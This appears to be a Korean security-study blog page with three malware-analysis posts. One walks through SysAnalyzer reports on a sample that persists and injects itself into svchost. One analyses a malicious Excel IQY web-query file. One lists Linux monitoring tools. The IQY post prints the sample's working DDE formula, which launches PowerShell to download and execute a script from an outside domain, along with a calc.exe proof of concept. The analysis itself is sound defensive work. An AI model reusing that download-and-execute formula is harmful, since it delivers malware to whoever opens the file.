Kali-KM_Security Study

Intro

SysAnalyzer 는 오픈소스 기반의 자동화 악성코드 분석 도구이다. 기본적으로 여러 도구의 기능이나 기타 편의적인 기능이 제공되고 있다. 아래는 공식홈페이지에서 제공하는 설명이다.

SysAnalyzer Overview

SysAnalyzer is an open source application that was designed to give malcode analysts an automated tool to quickly collect, compare, and report on the actions a binary took while running on the system. 

A full installer for the application is available and can be downloaded here . The application supports windows 2000 - windows 10. Including x64 support. 

The main components of SysAnalyzer work off of comparing snapshots of the system over a user specified time interval. The reason a snapshot mechanism was used compared to a live logging implementation is to reduce the amount of data that analysts must wade through when conducting their analysis. By using a snapshot system, we can effectively present viewers with only the persistent changes found on the system since the application was first run. 



Interface

실행 시 기본적인 인터페이스는 아래와 같다.

  • Executable, Arguments : 실행 파일 경로 및 인자
  • Delay(secs) : Snapshot 전, 후 사이의 시간 값 지정
  • Use SnifHit : HTTP 접속 및 IRC 접속 정보를 확인
  • Use Api Logger : 호출 되는 API 목록을 획득
  • Directory Watcher : 모니터링 시점에 생성되는 모든 파일 획득


Example

해당 Tool 을 사용하여 몇 샘플을 분석해보자. 
참고 : 아무 동작을 하지 않고 종료되는 프로세스가 있을 수도 있으므로, Process Explorer 는 같이 켜놓는게 좋다.
실행 파일 지정 및 시작

하단에 두번째 Snapshot 까지 남은 시간을 기록함.

두 번째 snapshot 을 찍은 후, 상기의 화면 외에 Report File Viewer 가 새로 나타남. 내용은 동일.


이래한 결과들이 analysis 폴더에 파일로 저장됨.




샘플 분석 결과 정리
Process

File

Registry

Network


이와 같이 직접 확인해도 되지만, SysAnalyzer 의 강점은 바로 Report 를 출력해준다. 아래 내용은 "Report File Viewer" 의 "Report_실행시간.log" 결과 내용이다.
Processes:
PID    ParentPID    User    Path *    Service    
--------------------------------------------------
3076     3304    Administrator    C:\Windows\system32\svchost.exe        

Ports:
Port    PID    Type    Path *    Service    
--------------------------------------------------
65531     3076    TCP    C:\Windows\system32\svchost.exe        

Mutexes:
PID    Name *    
--------------------------------------------------
3076    \Sessions\1{EDFF96B3-5333-47AE-8DE6-022BB460FD36}    

Tasks:
Name    Executable    
--------------------------------------------------

Monitored Process Dlls:
pid    cnt    Name    
--------------------------------------------------

Loaded Drivers:
Driver File *    Company Name    Description    
--------------------------------------------------

Monitored RegKeys
Path    Value *    
--------------------------------------------------
HKLM\Software\Microsoft\Windows\CurrentVersion\Run    {EDFF96B3-5333-47AE-8DE6-022BB460FD36}=C:\Windows\CppServer.exe    

DirwatchData
Action    Size    File    
--------------------------------------------------
WatchDir Initilized OK            
Watching C        \    
Created        C:\Windows\CppServer.exe    
Modifed        C:\Windows    
Modifed        C:\Windows\CppServer.exe    
Modifed        C:\Windows\Prefetch    
Modifed    40000    C:\Windows\System32\config\SOFTWARE.LOG1    
Modifed    1740000    C:\Windows\System32\config\SOFTWARE    
Modifed    40000    C:\Users\Administrator\ntuser.dat.LOG1    
Modifed    1F400    C:\Users\Administrator\AppData\Local\Microsoft\Windows\UsrClass.dat.LOG1    
Modifed    40000    C:\Users\Administrator\AppData\Local\Microsoft\Windows\UsrClass.dat    
Created        C:\Windows\Microsoft.NET\Framework\v2.0.50727\ngen_service.lock    
Modifed        C:\Windows\Microsoft.NET\Framework\v2.0.50727    
Modifed    1E84A0 +    C:\Windows\Microsoft.NET\Framework\v2.0.50727\ngen_service.log    


예제 샘플(CppServer.exe) 는 실행 시 svchost.exe 를 생성 후, 자기 자신을 인젝션(RunPE)한다. 이러한 점을 참고하였을때 SysAnalyzer 는 자동으로 생성 된 프로세스 덤프 한다. 첫 번째와 두 번째는 실제 인젝션 된 CppServer.exe 와 동일하다. 마지막 세 번째(svchost_sample.exe_) 의 경우 해당 환경에 존재하는 정상 svchost.exe 파일임을 확인했다.





 

API Log 부분에 대해 자세히 확인해보자. installing hooks 의 경우, 실행시킬 악성코드에 대해 Hook 을 설치하는 것이다. 실제 악성코드의 동작은 굵게 표시한 부분부터 시작된다. CopyFile, RegSetValueEx, VirtualAllocEx 등이 존재한다. 하지만 실제 파일의 코드를 확인해보면 VirtualAllocEx 이후, NtWriteProcessMemory, NtGetThreadContext, NtSetThreadContext, NtResumeThread 등이 호출된다. 이에 대해서는 기록되지 않았다. 이외에도 svchost.exe 를 생성할 때 사용된 API 인, NtCreateProcess 도 존재하지 않다.
--------------------------------------------------
ce8,464,***** Installing Hooks *****    
ce8,464,***config:handler:100079f0    
ce8,464,***config:noSleep    
ce8,464,***config:noGetProc    
ce8,464,***config:noRegistry    
ce8,464,***config:queryGetTick    
ce8,464,***config:blockOpenProcess    
ce8,464,***config:blockDebugControl    
ce8,464,***config:ignoreExitProcess    
ce8,464,***config:hooklibLogLevel    
ce8,464,76ef19ff     GetSystemTime()    
ce8,464,Install hook CreateProcessInternalW failed...Error:
    
ce8,464,77043c4c     ExitThread()    
ce8,dc8,1331780     GetStartupInfoW()    
ce8,dc8,13324b4     GetStartupInfoW()    
ce8,dc8,133148f     CopyFileA(C:\Users\Administrator\Desktop\CppServer.exe->C:\Windows\CppServer.exe)    
ce8,dc8,77028fcf     CloseHandle(h=80)    
ce8,dc8,7702a963     CloseHandle(h=84)    
ce8,dc8,7702ad07     CloseHandle(h=80)    
ce8,dc8,7702ad15     CloseHandle(h=7c)    
ce8,dc8,13314b2     RegCreateKeyA (HKLM\Software\Microsoft\Windows\CurrentVersion\Run)    
ce8,dc8,13314df     RegSetValueExA ({EDFF96B3-5333-47AE-8DE6-022BB460FD36})    
ce8,dc8,75b67a17     VirtualAllocEx(h=ffffffff, addr=0, sz=8e00,type=3000, prot=4) = 100000    
ce8,dc8,133160c     VirtualAllocEx(h=80, addr=400000, sz=d000,type=3000, prot=40) = 400000    
ce8,dc8,7703caa4     CloseHandle(h=0)    
ce8,dc8,***** Injected Process Terminated *****    


중간 사용 후기

얼마 사용하지 않았지만, 느낀점은 아래와 같다.
- 여러 도구가 하나로 종합 된 느낌
- 간단한 동적 분석을 하기에 아주 용이
- 프로세스 생성 시, 그에 대한 Dump 와 Sample 파일까지 보여주는 것은 아주 훌륭(귀찮음을 덜어줌)
- 친숙해지면 아주 편리한 도구가 될 것같음
- API Log 의 경우, Nt- Zw- 함수는 기록되지 않는 것 같다.


'Reversing > Theory' 카테고리의 다른 글

SysAnalyzer Tool (동적분석 도구)  (3) 2019.01.04
IQY File - Using Malware Campaign  (0) 2018.10.23
Linux 동적 분석 Tool  (3) 2018.04.08
Process Doppelganging  (0) 2018.02.13
Dynamic Data Exchange (DDE)  (0) 2017.11.12
Atombombing 기법  (0) 2017.05.28

Comment +3

Intro

IQY 파일을 이용한 악성코드 유포 사례가 종종 발생한다. 이에 대해 자세히 알아보기 위해, IQY 파일이 무엇인지, 그리고 어떻게 악성코드 유포에 사용되는지 알아보고자 한다.




IQY File

IQY 파일이란 Excel Web Query 파일로, 인터넷의 있는 데이터를 Excel 로 직접 가져온다. 파일 포멧은 아래와 같은 형태를 띈다. 이는 "www.google.com" 의 데이터를 가지고 오는 IQY 파일로, URL 인 "https://www.google.com/" 을 제외한 다른 내용은 자동으로 추가 된 것이다.



아래는 IQY  파일을 생성하거나 가져오기 위해서는 Excel 의 "데이터", "웹" 을 클릭하면 아래와 같은 화면의 나타난다.



위 그림에서 저장 버튼을 눌러 IQY 파일로 저장 후, 이를 실행하면 아래와 같이 나타나는 것을 확인 할 수 있다. "사용" 버튼을 누를 경우, 지정된 우베 페이지의 데이터를 읽어온다.



Analysis

예시로 분석할 IQY 샘플에 대한 정보는 아래와 같다.

MD5 : d2a63814440f8d054d78b03b48f7a3df


해당 샘플을 아래와 같이 지정된 URL 에 쿼리를 하여 데이터를 받아오는 IQY 파일이다.

URL> http://clodflarechk.com/2.dat


성공적으로 데이터를 받아올 경우 아래와 같은 코드가 존재하는 것을 확인할 수 있다.

=cmd|' /c C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -NoExit -c IEX ((new-object net.webclient).downloadstring(\"http://clodflarechk.com/1.dat\"))'!A0


데이터를 받아온 후, Excel Formulas 의 "CMD" 명령어에 따라 파워쉘을 실행시키려 한다. 이때 사용자에게 아래와 같이 경고 화면이 나타나며, "예" 를 누를 경우 위의 코드가 동작하여 파워쉘이 실행된다.


파워쉘은 상기와 동일한 주소로부터 1.dat 를 다운로드 한다. 하지만 현재 해당 서버와 정상적으로 연결이 이루어지지 않아 1.dat 를 다운로드할 수는 없다. 



Conclusion

정상적으로 연결이 되지 않아, 이후의 분석은 불가능하지만, 위와 같은 방식을 사용하여 추가적인 악성 동작을 수행할 수 있다는 점을 기억하자.



ETC.

 pastebin 에서 데이터를 받아 calc.exe 를 실행시키는 내용의 xlsx 를 만들었다. 
- IQY Data : https://pastebin.com/rawL8SpP37V
- Pastebin Data : =cmd | ' /c C:\Windows\System32\calc.exe'

해당 xlsx 파일을 압축 해제하여 열어보면 위의 내용을 아래의 파일들에서 확인할 수 있다.
- [Extracted_Path]\xl\connections.xml : iqy 파일과 관련된 내용이 존재
- [Extracted_Path]\xl\externalLinks\externalLink1.xml : iqy 파일을 통해 한번 실행했던 문자열 관련 정보가 존재

> connections.xml

> externalLink1.xml




Reference

Blog



'Reversing > Theory' 카테고리의 다른 글

SysAnalyzer Tool (동적분석 도구)  (3) 2019.01.04
IQY File - Using Malware Campaign  (0) 2018.10.23
Linux 동적 분석 Tool  (3) 2018.04.08
Process Doppelganging  (0) 2018.02.13
Dynamic Data Exchange (DDE)  (0) 2017.11.12
Atombombing 기법  (0) 2017.05.28

Comment +0

Monitoring Tool

Strace 를 이용한 동작 확인 및 모니터링

의존성 문제로 인해 OS 별로 실행되지 않는 경우가 빈번할 수 있다. 이를 위해 해당 OS 에서 동작하는지 빠르게 확인하기 위해 사용하는 방법으로 Strace 가 존재한다.

아래 예시는 strace 로 "ls" 를 실행한 결과이다. 마지막에 exited with 0 으로 정상적으로 종료가 되었음을 확인 할 수 있다.

remnux@remnux:~/Desktop$ strace ls
execve("/bin/ls", ["ls"], [/* 68 vars */]) = 0
brk(0)                                  = 0xbc1000
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=107852, ...}) = 0
mmap(NULL, 107852, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7f5b620e9000
close(3)                                = 0
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/x86_64-linux-gnu/libselinux.so.1", O_RDONLY|O_CLOEXEC) = 3
...........
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f5b62103000
write(1, "linux_server  REMnux Cheat Sheet"..., 66linux_server  REMnux Cheat Sheet  REMnux Docs  REMnux Tools Sheet
) = 66
close(1)                                = 0
munmap(0x7f5b62103000, 4096)            = 0
close(2)                                = 0
exit_group(0)                           = ?
+++ exited with 0 +++


Sysdig 를 이용한 모니터링
다양한 필터를 가지고 있으며, Windows 의 Procmon 같은 녀석




Network 관련 도구

WireShark 를 통한 네트워크 패킷 분석



netstat -anp 를 통해 네트워크 연결 상태 조회



Windows 의 TCPView 와 같은 명렁어
$ watch -pn 0.1 "netstat -nap"




Process 관련 도구

ps -e -f | grep ~~~


pstree



Gnome-System-monitor



htop




'Reversing > Theory' 카테고리의 다른 글

SysAnalyzer Tool (동적분석 도구)  (3) 2019.01.04
IQY File - Using Malware Campaign  (0) 2018.10.23
Linux 동적 분석 Tool  (3) 2018.04.08
Process Doppelganging  (0) 2018.02.13
Dynamic Data Exchange (DDE)  (0) 2017.11.12
Atombombing 기법  (0) 2017.05.28

Comment +3